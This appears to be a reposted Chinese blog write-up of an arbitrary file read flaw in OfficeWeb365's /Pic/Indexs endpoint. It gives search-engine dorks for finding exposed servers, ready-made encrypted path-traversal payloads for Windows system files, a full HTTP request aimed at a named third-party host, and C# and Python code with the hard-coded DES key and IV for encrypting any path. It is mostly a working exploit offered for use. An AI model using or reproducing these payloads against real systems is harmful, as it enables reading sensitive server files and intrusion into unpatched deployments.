OfficeWeb365任意文件读取
生活随笔
收集整理的這篇文章主要介紹了
OfficeWeb365任意文件读取
小編覺得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.
OfficeWeb365任意文件讀取
OfficeWeb365 /Pic/Indexs接口處存在任意文件讀取漏洞,攻擊者可通過獨(dú)特的加密方式對(duì)payload進(jìn)行加密,讀取任意文件,獲取服務(wù)器敏感信息,使系統(tǒng)處于極不安全的狀態(tài)。
資產(chǎn)搜索
FOFA:body="請(qǐng)輸入furl參數(shù)" || header="OfficeWeb365" || banner="OfficeWeb365"
鷹圖:web.body="請(qǐng)輸入furl參數(shù)"
漏洞復(fù)現(xiàn):
網(wǎng)站根路徑+/Pic/Indexs?imgs=加密后的地址
讀取c:\Windows\win.ini:網(wǎng)站根路徑+/Pic/Indexs?imgs=DJwkiEm6KXJZ7aEiGyN4Cz83Kn1PLaKA09
讀取c:\windows\system32\drivers\etc\hosts:網(wǎng)站根路徑+/Pic/Indexs?imgs=6pQyzPQHRNEy4NP7jXEzojhi0auIyDxqtdWuPX+Vpu9xV6HoX3eDoUHyK0XtH6Up09
GET /Pic/Indexs?imgs=DJwkiEm6KXJZ7aEiGyN4Cz83Kn1PLaKA09 HTTP/1.1
Host: oa.sdipct.edu.cn:8088
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
加密方法
Enc("/../../Windows/win.ini");
static string Enc(string plainText)
{
// 定義 DES 算法的密鑰和初始化向量
byte[] Keys = new byte[] { 102, 16, 93, 156, 78, 4, 218, 32 };
byte[] Iv = new byte[] { 55, 103, 246, 79, 36, 99, 167, 3 };
// 將明文轉(zhuǎn)換為字節(jié)數(shù)組
byte[] plainBytes = Encoding.UTF8.GetBytes(plainText);
// 創(chuàng)建 DES 加密服務(wù)提供程序,并設(shè)置密鑰和初始化向量
DESCryptoServiceProvider desCryptoServiceProvider = new DESCryptoServiceProvider
{
Key = Keys,
IV = Iv
};
// 創(chuàng)建內(nèi)存流以存儲(chǔ)加密后的數(shù)據(jù)
MemoryStream memoryStream = new MemoryStream();
// 創(chuàng)建 DES 加密器
ICryptoTransform transform = desCryptoServiceProvider.CreateEncryptor();
// 使用 CryptoStream 執(zhí)行加密
using (CryptoStream cryptoStream = new CryptoStream(memoryStream, transform, CryptoStreamMode.Write))
{
cryptoStream.Write(plainBytes, 0, plainBytes.Length);
cryptoStream.FlushFinalBlock();
}
// 將加密后的數(shù)據(jù)轉(zhuǎn)換為 Base64 字符串
string encryptedText = Convert.ToBase64String(memoryStream.ToArray());
return encryptedText+"09";
}
使用python制作加密路徑
from Crypto.Cipher import DES
from Crypto.Util.Padding import pad
import base64
def Enc(plainText):
# 定義 DES 算法的密鑰和初始化向量
keys = bytes([102, 16, 93, 156, 78, 4, 218, 32])
iv = bytes([55, 103, 246, 79, 36, 99, 167, 3])
# 將明文轉(zhuǎn)換為字節(jié)數(shù)組并進(jìn)行填充
plainBytes = plainText.encode('utf-8')
paddedBytes = pad(plainBytes, DES.block_size)
# 創(chuàng)建 DES 加密器
desCrypto = DES.new(keys, DES.MODE_CBC, iv)
# 執(zhí)行加密
cipherText = desCrypto.encrypt(paddedBytes)
# 將加密后的數(shù)據(jù)轉(zhuǎn)換為 Base64 字符串
encryptedText = base64.b64encode(cipherText).decode('utf-8')
return encryptedText + "09"
encrypted = Enc("/../../windows\system32\drivers\etc\hosts")
print(encrypted)
總結(jié)
以上是生活随笔為你收集整理的OfficeWeb365任意文件读取的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 善用 vscode 的批量和模板技巧来提
- 下一篇: 钉钉小程序生态—企业机器人加互动卡片,改